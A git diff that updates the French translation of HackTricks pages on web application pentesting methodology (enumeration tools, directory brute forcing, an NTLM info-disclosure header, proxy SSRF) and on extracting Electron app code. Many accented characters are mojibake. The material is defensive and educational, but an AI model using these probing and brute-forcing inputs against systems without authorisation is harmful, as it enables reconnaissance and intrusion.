-- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
-- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
-- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
-- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
+- Accédez à des **fake pages** comme /whatever_fake.php (.aspx,.html,.etc)
+- **Ajoutez "\[]", "]]", et "\[["** dans les **valeurs des cookies** et les **valeurs des paramÚtres** pour créer des erreurs
+- Générez une erreur en donnant comme entrée **`/~randomthing/%s`** à la **fin** de l'**URL**
+- Essayez différents **verbes HTTP** comme PATCH, DEBUG ou incorrects comme FAKE
#### **Vérifiez si vous pouvez téléverser des fichiers (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
-If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to:
+Si vous constatez que **WebDav** est **activé** mais que vous n'avez pas suffisamment de permissions pour **téléverser des fichiers** dans le dossier racine, essayez de :
-- **Brute Force** des identifiants
-- **Téléversez des fichiers** via WebDav dans les **autres** **dossiers trouvés** sur la page web. Vous pourriez avoir la permission de téléverser des fichiers dans d'autres dossiers.
+- **Brute Force** les identifiants
+- **Téléverser des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir la permission de téléverser des fichiers dans d'autres dossiers.
### **Vulnérabilités SSL/TLS**
-- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM**
-- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability.
+- Si l'application **n'impose pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnérable aux attaques MitM**
+- Si l'application **envoie des données sensibles (mots de passe) via HTTP**, c'est une vulnérabilité élevée.
-Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
+Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes Bug Bounty, probablement ce type de vulnérabilités ne sera pas accepté) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour revérifier les vulnérabilités:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -196,60 +197,60 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul
sslscan
sslyze --regular
```
-Informations sur les vulnérabilités SSL/TLS :
+Information about SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
-Lancez une sorte de **spider** sur le web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testĂ©e. Par consĂ©quent, web crawling et les sources externes doivent ĂȘtre utilisĂ©s pour trouver le plus de chemins valides possible.
+Lancez une sorte de **spider** sur le site web. L'objectif du spider est de **trouver autant de chemins que possible** Ă partir de l'application testĂ©e. Pour cela, le crawling et les sources externes doivent ĂȘtre utilisĂ©s afin de dĂ©couvrir le plus de chemins valides possible.
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et des sources externes (Archive.org, CommonCrawl.org, VirusTotal.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indique aussi les "juicy files".
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactif HTML spider. Cherche aussi dans Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut ĂȘtre utile. Vous pouvez indiquer un fichier avec hosts et un fichier avec paths et meg rĂ©cupĂ©rera chaque path sur chaque host et sauvegardera la rĂ©ponse.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacités de rendu JS. Cependant, il semble non maintenu, la version précompilée est vieille et le code courant ne compile pas.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des providers externes (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouvera les URLs avec paramĂštres et les listera.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider avec rendu JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacitĂ©s de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut valoir le coup de jeter un Ćil Ă [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints à la fois dans le source HTML et dans les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives depuis les fichiers JavaScript. Utile pour dĂ©couvrir facilement les requĂȘtes AJAX. Semble non maintenu.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Donné un fichier (HTML) il extrait les URLs en utilisant une regex astucieuse pour trouver et extraire les URLs relatives depuis des fichiers minifiés.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils): Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils.
-- [**subjs**](https://github.com/lc/subjs) (go): Trouve les fichiers JS.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un headless browser et affiche toutes les urls chargées pour afficher la page.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de découverte de contenu mélangeant plusieurs options des outils précédents
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver paths et params dans les fichiers JS.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donné l'URL .js.map, vous récupérera le code JS beautifié
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisé pour découvrir des endpoints pour une target donnée.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvre des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et cherche plus de liens)
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (mĂȘme en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spĂ©cifiques.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un GUI crawler/spider multi-fonction avancé conçu pour les professionnels de la cybersécurité.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres données intéressantes depuis le code source JavaScript.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramĂštres et endpoints** des requĂȘtes afin de crĂ©er des wordlists personnalisĂ©es pour le fuzzing et l'Ă©numĂ©ration.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Outil excellent pour cela.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque link qu'il est capable de trouver.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go) : HTML spider, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : HTML spider, indique aussi les "juicy files".
+- [**evine** ](https://github.com/saeeddhqan/evine)(go) : CLI interactive HTML spider. Il recherche également dans Archive.org
+- [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas un spider mais peut ĂȘtre utile. Vous pouvez indiquer un fichier avec des hosts et un fichier avec des paths et meg ira fetch chaque path sur chaque host et enregistrera la rĂ©ponse.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : HTML spider avec capacités de rendering JS. Cependant, il semble non maintenu, la version précompilée est ancienne et le code actuel ne compile pas.
+- [**gau**](https://github.com/lc/gau) (go) : HTML spider qui utilise des fournisseurs externes (wayback, otx, commoncrawl).
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script va trouver les URLs avec paramĂštres et les lister.
+- [**galer**](https://github.com/dwisiswant0/galer) (go) : HTML spider avec capacités de rendering JS.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : HTML spider, avec capacitĂ©s de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut ĂȘtre utile aussi de jeter un Ćil Ă [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des endpoints dans le source HTML et les fichiers javascript embarqués. Utile pour bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives des fichiers JavaScript. Utile pour dĂ©couvrir facilement les requĂȘtes AJAX. Semble non maintenu.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Ătant donnĂ© un fichier (HTML) il extraira les URLs en utilisant des expressions rĂ©guliĂšres pour trouver et extraire les URLs relatives de fichiers minifiĂ©s.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes depuis les fichiers JS en utilisant plusieurs outils.
+- [**subjs**](https://github.com/lc/subjs) (go) : Trouve les fichiers JS.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un headless browser et affiche toutes les urls chargées pour rendre la page.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust) : Outil de discovery de contenu mélangeant plusieurs options des outils précédents.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Extension Burp pour trouver paths et params dans les fichiers JS.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Outil qui, donné l'URL .js.map, récupÚre le code JS beautifié.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Outil utilisé pour découvrir des endpoints pour une cible donnée.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvre des liens depuis la wayback machine (télécharge aussi les réponses dans la wayback et cherche plus de liens).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (mĂȘme en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spĂ©cifiques.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go) : Package Go et [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres données intéressantes depuis le source JavaScript.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **Burp Suite extension** pour **extraire les paramĂštres et endpoints** depuis les requĂȘtes afin de crĂ©er des wordlists personnalisĂ©es pour le fuzzing et l'Ă©numĂ©ration.
+- [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil excellent pour cela.
+- [**Crawley**](https://github.com/s0rg/crawley) (go) : Affiche chaque lien qu'il est capable de trouver.
### Brute Force directories and files
-Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** ainsi que tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** en préfixant au début de la wordlist utilisée les noms des répertoires trouvés).\
+Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **répertoires trouvés** en utilisant **cette méthode** et tous les répertoires **découverts** par le **Spidering** (vous pouvez faire ce brute-forcing **récursivement** en préfixant dans le wordlist utilisé les noms des répertoires trouvés).\
Outils :
-- **Dirb** / **Dirbuster** - Inclus dans Kali, **old** (et **slow**) mais fonctionnel. Permet les certificats auto-signés et la recherche récursive. Trop lent comparé aux autres options.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche récursive.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
+- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet certificats auto-signés et recherche recursive. Trop lent comparé aux autres options.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signés mais** permet la recherche recursive.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet les certificats auto-signés, il **n'a pas** de recherche **récursive**.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, supporte la recherche récursive.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donné la liste des URLs trouvées, supprimera les URLs "dupliquées".
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour créer une liste de répertoires depuis l'historique Burp de différentes pages
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalités dupliquées (basé sur les imports js)
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser.
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, donné la liste d'URLs trouvées, supprime les URLs "dupliquées".
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Burp Extension pour créer une liste de répertoires depuis l'historique Burp de différentes pages.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Remove les URLs avec des fonctionnalités dupliquées (basé sur les imports js).
+- [**Chamaleon**](https://github.com/iustin24/chameleon) : Utilise wapalyzer pour détecter les technologies utilisées et sélectionner les wordlists à utiliser.
-Dictionnaires recommandés :
+**Dictionnaires recommandés :**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -268,41 +269,41 @@ Dictionnaires recommandés :
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert pendant le brute-forcing ou le spidering, il doit ĂȘtre Brute-Forced._
+_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouve des liens cassĂ©s dans les HTML qui peuvent ĂȘtre susceptibles de takeovers
-- **File Backups**: Une fois que vous avez trouvé tous les fichiers, recherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variantes communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramÚtres cachés. Si possible, essayez de rechercher des paramÚtres cachés dans chaque fichier web exécutable.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker) : Trouve les liens brisĂ©s dans les HTML qui peuvent ĂȘtre susceptibles de takeover.
+- **File Backups** : Une fois que vous avez trouvé tous les fichiers, cherchez des backups de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Variations communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramÚtres cachés. Si possible, essayez de chercher** des paramÚtres cachés sur chaque fichier web exécutable.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner âparamsâ :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote âparameters_top_1mâ:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de âparams.txtâ:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
-- Si vous jouez un **CTF**, une astuce courante est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'espaces pour que vous ne voyiez pas les données si vous ouvrez le source avec le navigateur). Autre possibilité : utiliser plusieurs nouvelles lignes et **cacher des informations** dans un commentaire en bas de la page web.
-- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys pour différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: Si vous trouvez une API key ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles apis la key peut accéder.
-- **S3 Buckets**: Pendant le Spidering regardez si un sous-domaine ou un lien est lié à un S3 bucket. Dans ce cas, [**check** the **permissions** of the bucket](buckets/index.html).
+- **Comments :** Vérifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalités cachées**.
+- Si vous jouez en **CTF**, une astuce "classique" est de **cacher** des **informations** dans des commentaires à droite de la **page** (en utilisant des **centaines** d'**espaces** pour que les données ne soient pas visibles si vous ouvrez le source avec le navigateur). Autre possibilité : utiliser **plusieurs lignes** et **cacher des informations** dans un commentaire en bas de la page web.
+- **API keys** : Si vous **trouvez une API key** il existe des guides qui indiquent comment utiliser les API keys pour différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys : Si vous trouvez une API key qui ressemble à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier à quelles APIs la key donne accÚs.
+- **S3 Buckets** : Pendant le spidering, regardez si un **subdomain** ou un **lien** est lié à un **S3 bucket**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/index.html).
### Special findings
-**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
+**Pendant** le **spidering** et le **brute-forcing** vous pouvez trouver des **éléments intéressants** qu'il faut **noter**.
-**Interesting files**
+**Fichiers intéressants**
-- Cherchez des **links** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
+- Cherchez des **liens** vers d'autres fichiers à l'intérieur des fichiers **CSS**.
- [If you find a _**.git**_ file some information can be extracted](git.md)
-- Si vous trouvez un _**.env**_ des informations comme des api keys, des mots de passe db et d'autres informations peuvent ĂȘtre trouvĂ©es.
-- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement Ă des fichiers.
-- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont été mentionnés. De plus, il serait intéressant de **monitor** chaque fichier JS trouvé, car parfois un changement peut indiquer qu'une potentielle vulnérabilité a été introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.**
-- Vous devriez aussi vérifier les fichiers JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
+- Si vous trouvez un _**.env**_ des informations telles que api keys, mots de passe db et autres peuvent ĂȘtre trouvĂ©es.
+- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement Ă tels.
+- **JS files** : Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont été mentionnés. Il serait aussi intéressant de **monitorer chaque fichier JS trouvé**, car dans certaines occasions un changement peut indiquer qu'une vulnérabilité potentielle a été introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.**
+- Vous devriez aussi vérifier les JS découverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnérables.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- Dans plusieurs cas, vous aurez besoin de **comprendre les expressions réguliÚres** utilisées. Ceci sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
-- Vous pourriez aussi **monitor** les fichiers oĂč des forms ont Ă©tĂ© dĂ©tectĂ©s, car un changement de paramĂštre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalitĂ© potentiellement vulnĂ©rable.
+- Dans plusieurs cas, vous devrez **comprendre les expressions rĂ©guliĂšres** utilisĂ©es. Cela peut ĂȘtre utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
+- Vous pouvez aussi **monitorer les fichiers contenant des forms**, car un changement de paramÚtre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalité potentiellement vulnérable.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@@ -313,28 +314,28 @@ _Notez que chaque fois qu'un nouveau répertoire est découvert pendant le brute
**502 Proxy Error**
-Si une page **rĂ©pond** avec ce **code**, c'est probablement un **proxy mal configurĂ©**. **Si vous envoyez une requĂȘte HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** essaiera d'**accĂ©der** Ă _**google.com**_ **et vous aurez trouvĂ© un** SSRF.
+Si une page **rĂ©pond** avec ce **code**, c'est probablement un **proxy mal configurĂ©**. **Si vous envoyez une requĂȘte HTTP comme : `GET https://google.com HTTP/1.1`** (avec le header host et d'autres headers courants), le **proxy** tentera d'**accĂ©der** Ă _**google.com**_ **et vous aurez trouvĂ© un** SSRF.
**NTLM Authentication - Info disclosure**
-Si le serveur en cours demandant l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **domain** **name**), vous pouvez provoquer une **information disclosure**.\
+Si le serveur qui demande l'authentification est **Windows** ou si vous trouvez un login demandant vos **credentials** (et demandant le **nom** de **domaine**), vous pouvez provoquer une **divulgation d'information**.\
**Envoyez** le **header** : `âAuthorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=â` et Ă cause du fonctionnement de l'**NTLM authentication**, le serveur rĂ©pondra avec des infos internes (version IIS, version Windows...) dans le header "WWW-Authenticate".\
-Vous pouvez **automatiser** cela en utilisant le plugin nmap "_http-ntlm-info.nse_".
+Vous pouvez **automatiser** cela avec le **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
-Il est possible de **mettre du contenu** Ă l'intĂ©rieur d'une **Redirection**. Ce contenu **ne sera pas affichĂ© Ă l'utilisateur** (le navigateur exĂ©cutera la redirection) mais quelque chose pourrait y ĂȘtre **cachĂ©**.
+Il est possible de **mettre du contenu** Ă l'intĂ©rieur d'une **Redirection**. Ce contenu **ne sera pas montrĂ© Ă l'utilisateur** (le navigateur effectuera la redirection) mais quelque chose peut ĂȘtre **cachĂ©** dedans.
### Web Vulnerabilities Checking
-Maintenant qu'une énumération complÚte de l'application web a été effectuée, il est temps de vérifier un grand nombre de vulnérabilités possibles. Vous pouvez trouver la checklist ici :
+Maintenant qu'une énumération complÚte de l'application web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la checklist ici :
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
-Trouvez plus d'infos sur les vulnérabilités web sur :
+Trouvez plus d'infos sur les vuln web dans :
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@@ -342,7 +343,7 @@ Trouvez plus d'infos sur les vulnérabilités web sur :
### Monitor Pages for changes
-Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages afin de détecter des modifications qui pourraient insérer des vulnérabilités.
+Vous pouvez utiliser des outils comme [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour monitorer des pages et détecter des modifications qui pourraient introduire des vulnérabilités.
### HackTricks Automatic Commands
```
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index c1a17fcd7..835d71c8c 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -1,4 +1,4 @@
-# Electron Desktop Apps
+# Applications de bureau Electron
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,21 +6,21 @@
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il lui manque certains mécanismes de sécurité des navigateurs modernes.
-Généralement, vous trouverez le code de l'application electron dans un fichier `.asar` ; pour obtenir le code, vous devez l'extraire :
+Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`. Pour obtenir le code, vous devez l'extraire :
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
-Dans le code source d'une application Electron, Ă l'intĂ©rieur de `packet.json`, vous pouvez trouver spĂ©cifiĂ© le fichier `main.js` oĂč les configurations de sĂ©curitĂ© sont dĂ©finies.
+Dans le code source d'une application Electron, dans `packet.json`, vous pouvez trouver le fichier `main.js` oĂč sont dĂ©finies les configurations de sĂ©curitĂ©.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
-Electron comprend 2 types de processus :
+Electron possĂšde 2 types de processus :
- Main Process (dispose d'un accĂšs complet Ă NodeJS)
-- Renderer Process (devrait avoir un accÚs NodeJS restreint pour des raisons de sécurité)
+- Renderer Process (devrait avoir un accÚs restreint à NodeJS pour des raisons de sécurité)
.png>)
@@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
